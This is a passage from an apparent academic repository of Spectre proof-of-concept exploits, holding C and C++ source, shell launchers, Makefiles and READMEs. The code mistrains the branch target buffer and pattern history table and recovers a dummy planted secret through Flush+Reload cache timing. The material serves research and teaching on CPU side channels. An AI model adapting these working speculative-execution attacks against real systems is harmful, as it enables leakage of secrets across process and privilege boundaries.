    "content": "#ifndef CACHEUTILS_H\n#define CACHEUTILS_H\n\n#ifndef HIDEMINMAX\n#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))\n#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))\n#endif\n\n#define MEASURE(op) \\\n    ({ \\\n        size_t begin = rdtsc(); \\\n        op \\\n        size_t end = rdtsc(); \\\n        end - begin; \\\n    })\n\ninline __attribute__((always_inline)) uint64_t rdtsc() {\n  uint64_t a, d;\n  asm volatile (\n    \"mfence\\n\\t\"\n    \"RDTSCP\\n\\t\"\n    \"mov %%rdx, %0\\n\\t\"\n    \"mov %%rax, %1\\n\\t\"\n    \"xor %%rax, %%rax\\n\\t\"\n    \"CPUID\\n\\t\"\n    : \"=r\" (d), \"=r\" (a)\n    :\n    : \"%rax\", \"%rbx\", \"%rcx\", \"%rdx\");\n  a = (d<<32) | a;\n  return a;\n}\n\n#define MACCESS(p,s,t) asm volatile (\"movq (%0), %%r\" t \"x\" : : s (p) : \"r\" t \"x\")\n\ninline __attribute__((always_inline)) void maccess(volatile void* p)\n{\n  asm volatile (\"movb (%0), %%al\\n\"\n    :\n    : \"c\" (p)\n    : \"rax\");\n}\n\ninline __attribute__((always_inline)) void flush(void* p) {\n    asm volatile (\"clflush 0(%0)\\n\\t\"\n      :\n      : \"c\" (p)\n      : \"rax\");\n}\n\n#endif\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_oop/exploit.sh",
    "content": "#!/bin/zsh\nfile_name=\"main\"\ngcc -g $file_name.c -o $file_name -Wno-format-security\n./$file_name $(./hyper_thread_pair.sh) $1\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_oop/hyper_thread_pair.sh",
    "content": "#!/bin/zsh\n\nsetopt extendedglob\n\ncd /sys/devices/system/cpu/\n\nfor i in cpu[0-9]##; do\n  package=`cat $i/topology/physical_package_id`\n  core=`cat $i/topology/core_id`\n\n  cpu_id=\"${i#cpu}\"\n  \n  config=\"$package-$core\"\n  if (( ${+target_config} )); then\n    if [[ $target_config == $config ]]; then\n      echo \"$first_cpu_id $cpu_id\"\n      break\n    fi\n  else\n    target_config=\"$config\"\n    first_cpu_id=\"$cpu_id\"\n  fi\ndone\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_oop/main.c",
    "content": "#define _GNU_SOURCE\n\n#include <sys/mman.h>\n#include <stdint.h>\n#include <string.h>\n#include <stdio.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <sched.h>\n#include <unistd.h>\n#include <assert.h>\n#include <signal.h>\n\n#include \"./cacheutils.h\"\n#include \"./smc_utils.h\"\n\n#define CACHE_LINE_SIZE 64\n#define PAGE_SIZE 4096ULL\n#define PAGE_BASE(addr)   ((addr) & ~(PAGE_SIZE-1))\n#define PAGE_OFFSET(addr) ((addr) &  (PAGE_SIZE-1))\n\n#define MY_MMAP(addr) mmap((void*)PAGE_BASE(addr), PAGE_SIZE, \\\n      PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0)\n\n#define ARRAY_OFF (PAGE_SIZE)\n#define ARRAY_OFFSET(i) ((i)*ARRAY_OFF + (char*)useless_array)\n#define CACHE_TARGET_ARRAY_SIZE (2 * ARRAY_OFF * 256)\n\n#define SECRET 'S'\n\nchar *asm_slow_jmp =  \"mov $%zd, %%rax\\n\\t\"\n                      \"mov $%zd, %%rbx\\n\\t\"\n                      \"mov %%rax, 0x0000(%%rbx)\\n\\t\"\n                      \"mov %%rax, 0x1000(%%rbx)\\n\\t\"\n                      \"mov %%rax, 0x2000(%%rbx)\\n\\t\"\n                      \"mov %%rax, 0x3000(%%rbx)\\n\\t\"\n                      \"clflush 0x0000(%%rbx)\\n\\t\"\n                      \"clflush 0x1000(%%rbx)\\n\\t\"\n                      \"clflush 0x2000(%%rbx)\\n\\t\"\n                      \"clflush 0x3000(%%rbx)\\n\\t\"\n                      \"xor %%rax, %%rax\\n\\t\"\n                      \"mov 0x0000(%%rbx), %%rax\\n\\t\"\n                      \"or  0x1000(%%rbx), %%rax\\n\\t\"\n                      \"or  0x2000(%%rbx), %%rax\\n\\t\"\n                      \"or  0x3000(%%rbx), %%rax\\n\\t\"\n                      \"jmp *%%rax\\n\";\nchar *asm_jmp = \"ret\\n\";\nchar *asm_gadget = \"mov $%zd, %%rax\\n\\t\"\n                    \"xor %%rbx,%%rbx\\n\\t\"\n                    \"mov $%zd, %%rdx\\n\\t\"\n                    \"mov (%%rdx), %%bl\\n\\t\"\n                    //\"mov %%rbx, %%rdx\\n\\t\"    //better cache usage?\n                    //\"shl $6, %%rdx\\n\\t\"       //better cache usage?\n                    \"shl $12, %%rbx\\n\\t\"\n                    //\"add %%rdx, %%rax\\n\\t\"    //better cache usage?\n                    \"add %%rbx, %%rax\\n\\t\"\n                    \"mov 0(%%rax), %%rax\\n\\t\"\n                    \"ret\\n\";\n\nvoid *useless_array;\n\nsize_t calibration() {\n  size_t touch_miss_min = ~0;\n  size_t touch_miss = 0;\n  size_t touch_hit  = 0;\n  size_t timing = 0;\n\n  const int measurements = 1024*1024;\n\n  uint8_t stack_space_array[1024 * 1024 * 2];\n  void *addr = stack_space_array + 1024*1024;\n\n  for (int i=0; i<measurements; i++) {\n    maccess(addr);\n    timing = MEASURE({maccess(addr);});\n    touch_hit += timing;\n    sched_yield();\n  }\n  for (int i=0; i<measurements; i++) {\n    flush(addr);\n    timing = MEASURE({maccess(addr);});\n    touch_miss += timing;\n    touch_miss_min = touch_miss_min < timing ? touch_miss_min : timing;\n    flush(addr);\n    sched_yield();\n  }\n  touch_miss /= measurements;\n  touch_hit  /= measurements;\n  size_t threshold = (touch_hit + touch_miss_min) / 2;\n\n  printf(\"hit %zd miss %zd (min %zd) thresh %zd\\n\", touch_hit, touch_miss, touch_miss_min, threshold);\n\n  return threshold;\n}\n\nint main(int argc, char **argv) {\n if(argc < 3) {\n    printf(\"usage: spectreV1 cpu_id_a cpu_id_b [oop]\\n\");\n    printf(\"  cpu_id_<x>:   cpu ids of logical cpus sharing one core\\n\");\n    printf(\"  oop:          if given the exploit will be oop\\n\");\n    exit(1);\n  }\n\n  int secret = SECRET;\n\n  int oop = argc==4 ? 1 : 0;\n\n  printf(\"This PoC is super noisy and will take some time, but once it starts it comes in bursts.\\n\");\n  printf(\"Secret letter is %c\\n\",secret);\n  printf(\"Attack is%s out-of-place\\n\", oop ? \"\" : \" not\");\n\n  size_t threshold = calibration();\n  void * cache_addr;\n  size_t attacker;\n\n  void *slow_jump_buffer = mmap(NULL, 4*PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n\n  useless_array = mmap(NULL, CACHE_TARGET_ARRAY_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n  memset(useless_array, 1, CACHE_TARGET_ARRAY_SIZE);\n\n  cache_addr = ARRAY_OFFSET(0);\n\n  size_t jump = 0x100+(size_t)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n  size_t gadget = 0x10+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n  size_t target = 0x00+(size_t)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n\n  inject_f_asm(jump, asm_slow_jmp, gadget, slow_jump_buffer);\n  inject_f_asm(gadget, asm_jmp);\n\n  pid_t pid = fork();\n  assert(pid != -1);\n  attacker = pid == 0;\n\n  if (!attacker) {\n    if (oop)\n      jump += PAGE_SIZE;\n    inject_f_asm(jump, asm_slow_jmp, target, slow_jump_buffer);\n    inject_f_asm(gadget, asm_gadget, cache_addr, &secret);\n    inject_f_asm(target, asm_jmp);\n  }\n\n  assert(useless_array != (void*)(-1));\n  \n  cpu_set_t cpu_set;\n  CPU_ZERO(&cpu_set);\n  int cpu_id = atoi(argv[pid ? 1 : 2]);\n  CPU_SET(cpu_id, &cpu_set);\n  assert(0 == sched_setaffinity(0, sizeof(cpu_set), &cpu_set));\n\n  flush(cache_addr);\n\n  if (attacker) {\n    printf(\"attacker setup done\\n\");\n    size_t trys  = 0;\n    size_t hits  = 0; \n    size_t sucs = 0;\n    while (1) {\n      if (trys % 100000 == 0) {\n        printf(\"\\ntrys: %20zd\\n\", trys);\n        printf(\"hits: %20zd\\n\", hits);\n        printf(\"sucs: %20zd\\n\", sucs);\n        printf(\"stat: %s\\n\", sucs * 10 > hits ? \":)\" : \":(\");\n      }\n      trys++;\n      for (int i = 0; i < 100; i++)\n        call_addr(jump);\n\n      for (int i = 0; i<256; i++) {\n        if (MEASURE({maccess(ARRAY_OFFSET(i));}) < threshold) {\n          hits++;\n          if ('A'<=i && i <='Z')\n            printf(\"%c \",i);\n          if (i == secret) {\n            sucs++;\n          }\n        }\n      }\n      for (int i = 0; i<257; i++)\n        flush(ARRAY_OFFSET(i));\n    }\n  }\n  else {\n    printf(\"victim setup done\\n\");\n    while (1) {\n      maccess(&secret);\n      call_addr(jump);\n    }\n  }\n  \n  kill(pid ? pid : getppid(), SIGKILL);\n\n  return 0;\n}\n"
  },
  {
    "path": "pocs/spectre/BTB/ca_oop/smc_utils.h",
    "content": "inline __attribute__((always_inline)) void call_addr(size_t addr)\n{\n  asm volatile(\n    \"movq %0, %%rax\\n\\t\"\n    \"call *%%rax\"\n    : \n    : \"r\" (addr)\n    : \"%rax\"\n    );\n}\n\nsize_t inject_code(size_t dest, char* hex, size_t length)\n{\n  memcpy((void*)dest, hex, length);\n  return dest + length;\n}\n\nsize_t inject_jump(size_t dest, size_t target)\n{\n  char *code_base_jump = \"\\x48\\xb8--ADDR--\"\n                         \"\\xff\\xe0\";\n  size_t end = inject_code(dest, code_base_jump, strlen(code_base_jump));\n  *((size_t*)(dest+2)) = target;\n  return end;\n}\n\nsize_t inject_maccess(size_t dest, size_t target)\n{\n  char *code_base_maccess = \"\\x48\\xb9--ADDR--\"\n                            \"\\x8a\\x01\";\n  size_t end = inject_code(dest, code_base_maccess, strlen(code_base_maccess));\n  *((size_t*)(dest+2)) = target;\n  return end;\n}\n\nsize_t inject_nop(size_t dest, size_t no)\n{\n  while(no)\n  {\n    no--;\n    dest = inject_code(dest, \"\\x90\", 1);\n  }\n  return dest;\n}\n\nsize_t assemble(char *in, char **out)\n{\n  FILE *asm_file = fopen(\"tmp.s\", \"w\");\n  if (asm_file == NULL)\n    return 0;\n  fwrite(in, strlen(in), 1, asm_file);\n  fclose(asm_file);\n\n  system(\"as -o tmp.elf tmp.s; objcopy -O binary tmp.elf tmp.bin\");\n\n  char *buffer = NULL;\n  size_t length;\n  FILE *bin_file = fopen(\"tmp.bin\", \"rb\");\n\n  if (bin_file)\n  {\n    fseek(bin_file, 0, SEEK_END);\n    length = ftell(bin_file);\n    fseek (bin_file, 0, SEEK_SET);\n    buffer = malloc(length);\n    if (buffer)\n    {\n      fread(buffer, 1, length, bin_file);\n    }\n    fclose(bin_file);\n  }\n\n  system(\"rm tmp.elf tmp.bin tmp.s\");\n\n  *out = buffer;\n\n  return length;\n}\n\nsize_t inject_asm(size_t dest, char* asm_code)\n{\n  char *hex = NULL;\n  size_t length = assemble(asm_code, &hex);\n  if (hex)\n  {\n    dest = inject_code(dest, hex, length);\n    free(hex);\n  }\n  return dest;\n}\n\n#define VA_ARGS(...) , ##__VA_ARGS__\n#define inject_f_asm(dest, asm_code, ...)                    \\\n({                                                           \\\n  size_t ret = dest;                                         \\\n  char *code = asm_code;                                     \\\n  size_t len = snprintf(NULL, 0, code VA_ARGS(__VA_ARGS__)); \\\n  char *f_asm_code = malloc(len);                            \\\n  if (f_asm_code)                                            \\\n  {                                                          \\\n    sprintf(f_asm_code, code VA_ARGS(__VA_ARGS__));          \\\n    ret = inject_asm(ret, f_asm_code);                       \\\n    free(f_asm_code);                                        \\\n  }                                                          \\\n  ret;                                                       \\\n})\n"
  },
  {
    "path": "pocs/spectre/BTB/sa_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.cpp\n\tg++ main.cpp -o poc_x86 -Os -I../../../ \n\nmain_arm: main.cpp\n\taarch64-linux-gnu-g++ -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.cpp -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/BTB/sa_ip/README.md",
    "content": "# Spectre-BTB PoC \n\nThis folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64  or ARMv8 respectively. \n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S\n```\n\n## How it works\nThis PoC uses a class from which two subclasses are derived. One class Bird contains the secret data and a implements the function `move` so that it does nothing. The other class, Fiish, contains some dummy data and the implements the function `move` so that it encodes the member variable in the cache. The functinon `move_animal` then expects the base class as a parameter and calls the virtual function `move`. By first mistraining this function with an Animal of type Bird and then substituting the Animal with a Fish we are able to leak the data as the call is mispredicted.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/BTB/sa_ip/main.cpp",
    "content": "#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <sched.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/mman.h>\n\nextern \"C\" {\n#include \"libcache/cacheutils.h\"\n}\n\n#define SECRET 'S'\n\n// Base class\nclass Animal {\npublic:\n  virtual void move() {\n  }\n};\n\n// Bird contains the secret\nclass Bird : public Animal {\nprivate:\n  char secret;\npublic:\n  Bird() {\n    secret = SECRET;\n  }\n  void move() {\n     // nop\n  }\n};\n\n// Class that contains the function to leak data\nclass Fish : public Animal {\nprivate:\n  char data;\npublic:\n  Fish() {\n    data = 'F';\n  }\n  void move() {\n    // Encode data in the cache\n    cache_encode(data);\n  }\n};\n\n// Function so that we always call animal->move from the same virtual address\n// required for indexing always the same BTB entry\nvoid move_animal(Animal* animal) {\n  animal->move();\n}\n\n\nint main(int argc, char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n  \n  pagesize = sysconf(_SC_PAGESIZE);\n  char* _mem = (char*)malloc(pagesize*300);\n  mem = (char*)(((size_t)_mem & ~(pagesize-1)) + pagesize*2);\n\n  Fish* fish = new Fish();\n  Bird* bird = new Bird(); // contains secret\n\n  char* ptr = (char*)((((size_t)move_animal)) & ~(pagesize-1));\n  mprotect(ptr, pagesize * 2, PROT_READ | PROT_WRITE | PROT_EXEC);\n\n  memset(mem, 0, pagesize * 290);\n  maccess((void*)move_animal);\n\n  ptr[0] = ptr[0];\n\n  printf(\"Works if %c appears\\n\", SECRET);\n  while(1) {\n    nospec();\n    // Mistrain the BTB for Fish\n    for(int j = 0; j < 1000; j++) {\n      move_animal(fish);\n    }\n    // Flush our shared memory\n    flush_shared_memory();\n    mfence();\n\n    // Increase misspeculation chance\n    flush(bird);\n    mfence();\n\n    nospec();\n    // Leak bird secret\n    move_animal(bird);\n\n    // Recover data from the covert channel\n    for(int i = 1; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) & 255; // prefetcher\n      if(flush_reload(mem + mix_i * pagesize)) {\n        if((mix_i >= 'A' && mix_i <= 'Z')) {\n          printf(\"%c \", mix_i);\n        }\n        fflush(stdout);\n        sched_yield();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "pocs/spectre/BTB/sa_oop/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/BTB/sa_oop/README.md",
    "content": "# Spectre-BTB PoC \n\nThis folder contains a Spectre-BTB proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64  or ARMv8 respectively. \n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S\n```\n\n## How it works\nThis PoC uses two functions `dummy` and `dump_secret`. The first one does nothing but return while the second one encodes secret data in the cache. We then create a function pointer that shares the same least significant bits (those are used to index the BTB) and some random high bits. We repeatedly call the `dump_secret` function to mistrain the BTB so that the following call to `dump` is mispredicted to also go to the location of `dump_secret`. We suppress the architectural fault of calling `dump` via segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/BTB/sa_oop/main.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <signal.h>\n#include <setjmp.h>\n#include <sched.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nint mistrain_ = 250;\nint handling = 0;\n\nstatic jmp_buf buf;\n\n// Handle segfaults\nstatic void segfault_handler(int signum) {\n  (void)signum;\n  unblock_signal(SIGSEGV);\n  longjmp(buf, 1);\n}\n\nvoid dummy() {\n  return;\n}\n\nvoid dump_secret() {\n  // Encode data in the covert channel\n  cache_encode(SECRET);\n}\n\nint main(int argc, const char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // install signal handler\n  signal(SIGSEGV, segfault_handler);\n  pagesize = sysconf(_SC_PAGESIZE);\n  char *_mem = (char*) malloc(pagesize * (256 + 4));\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  memset(mem, 0, pagesize * 256);\n\n  // Flush our shared memory\n  flush_shared_memory();\n  mfence();\n\n  void (*mistrain)();\n  void (*dump)();\n  mistrain = dump_secret;\n  // clear the high bits of dump_secret\n  dump = (void (*)())(0x000000FFFFFF & (size_t)dump_secret); \n  // set the high bits to something and set the low bits to dump_scret, we only care about the low bits in BTB indexing\n  dump = (void (*)())(0x123321000000 | (size_t)dump); \n  printf(\"[\\x1b[33m*\\x1b[0m] mistrain: \\x1b[33m\\t%p\\x1b[0m\\n\", mistrain);\n  printf(\"[\\x1b[33m*\\x1b[0m] dump: \\x1b[33m\\t%p\\x1b[0m\\n\", dump);\n  // We now have a function pointer to a function with the same 23 LSB as our leak function\n\n  while(1) {\n    // Mistrain by calling mistrain (dump_secret) function\n    for(int i = 0; i < 2500; i++)\n      mistrain();\n\n    // Flush our shared memory\n    flush_shared_memory();\n    mfence();\n    nospec();\n\n    if(handling) {\n      // Call predicted function\n      dump();\n    }\n    \n    // Previous call will fail, so after every fault we return here\n    if(!setjmp(buf)) {\n      handling = 1;\n    }\n    \n    // Recover data from the covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher\n      if(flush_reload(mem + mix_i * pagesize)) {\n        if(mix_i >= 'A' && mix_i <= 'Z') {\n          printf(\"%c   \", mix_i);\n            break;\n        }\n        fflush(stdout);\n      }\n    }\n    sched_yield();\n  }\n  return 0;\n}\n"
  },
  {
    "path": "pocs/spectre/PHT/ca_ip/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/PHT/ca_ip/README.md",
    "content": "# Spectre-PHT PoC \n\nThis folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. \n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 180\n[ ]  INACCESSIBLE SECRET \n\n[>] Done\n```\n\n## How it works\n\nThe array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the \"accessible\" part of the array. \nIf so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). \n\nThe longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation).\n```\nx < len  <=>  x / len < 1\n```\n(assuming both the length of the data as well as the index to the array are positive)\n\nThis PoC is similar to the in-place mistraining variant, but now we fork and have one process do the mistraining while the other performs the out-of-bounds access and the recovery of the data.\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/PHT/ca_ip/main.c",
    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"../../../libcache/cacheutils.h\"\n\n// accessible data\n#define DATA \"data|\"\n// inaccessible secret (following accessible data)\n#define SECRET \"INACCESSIBLE SECRET\"\n\n#define DATA_SECRET DATA SECRET\n\nunsigned char data[128];\n\nchar access_array(int x) {\n  // flushing the data which is used in the condition increases\n  // probability of speculation\n  size_t len = sizeof(DATA) - 1;\n  mfence();\n  flush(&len);\n  flush(&x);\n  \n  // ensure data is flushed at this point\n  mfence();\n\n  // check that only accessible part (DATA) can be accessed\n  if((float)x / (float)len < 1) {\n    // countermeasure: add the fence here\n    cache_encode(data[x]);\n  }\n}\n\nint main(int argc, const char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS) \n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  pagesize = sysconf(_SC_PAGESIZE);\n  char *_mem = malloc(pagesize * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n\n  pid_t pid = fork();\n  // initialize memory\n  memset(mem, pid, pagesize * 256);\n\n  // store secret\n  memset(data, ' ', sizeof(data));\n  memcpy(data, DATA_SECRET, sizeof(DATA_SECRET));\n  // ensure data terminates\n  data[sizeof(data) / sizeof(data[0]) - 1] = '0';\n\n  // flush our shared memory\n  flush_shared_memory();\n\n  // nothing leaked so far\n  char leaked[sizeof(DATA_SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(DATA_SECRET)] = 0;\n\n  int j = 0;\n  while(1) {\n    // for every byte in the string\n    j = (j + 1) % sizeof(DATA_SECRET);\n\n    // mistrain with valid index\n\tif(pid == 0) {\n\t    for(int y = 0; y < 10; y++) {\n\t      access_array(0);\n\t    }\n\t}\n\telse {\n\t\t// potential out-of-bounds access\n\t\taccess_array(j);\n\n\t\t// only show inaccessible values (SECRET)\n\t\tif(j >= sizeof(DATA) - 1) {\n\t\t  mfence(); // avoid speculation\n\t\t  cache_decode_pretty(leaked, j);\n    }\n\n\t\tif(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1))\n      break;\n\n\t\tsched_yield();\n\t\t}\n\t}\n\tprintf(\"\\n\\x1b[1A[ ]\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n}\n"
  },
  {
    "path": "pocs/spectre/PHT/ca_oop/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../../ \n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/PHT/ca_oop/README.md",
    "content": "# Spectre-PHT PoC \n\nThis folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. \n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 180\n[ ]  INACCESSIBLE SECRET \n\n[>] Done\n```\n\n## How it works\n\nThe array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the \"accessible\" part of the array. \nIf so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds).\n\nThe longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation).\n\n```\nx < len  <=>  x / len < 1\n```\n(assuming both the length of the data as well as the index to the array are positive)\n\nFor the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT.\nIn this version, we also fork and to the mistraining in one process while the other process performs the out-of-bounds access and recovering of the data.\n\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n \n* The program appears to hang in \"Leak secret...\"\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n    + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function\n"
  },
  {
    "path": "pocs/spectre/PHT/ca_oop/main.c",
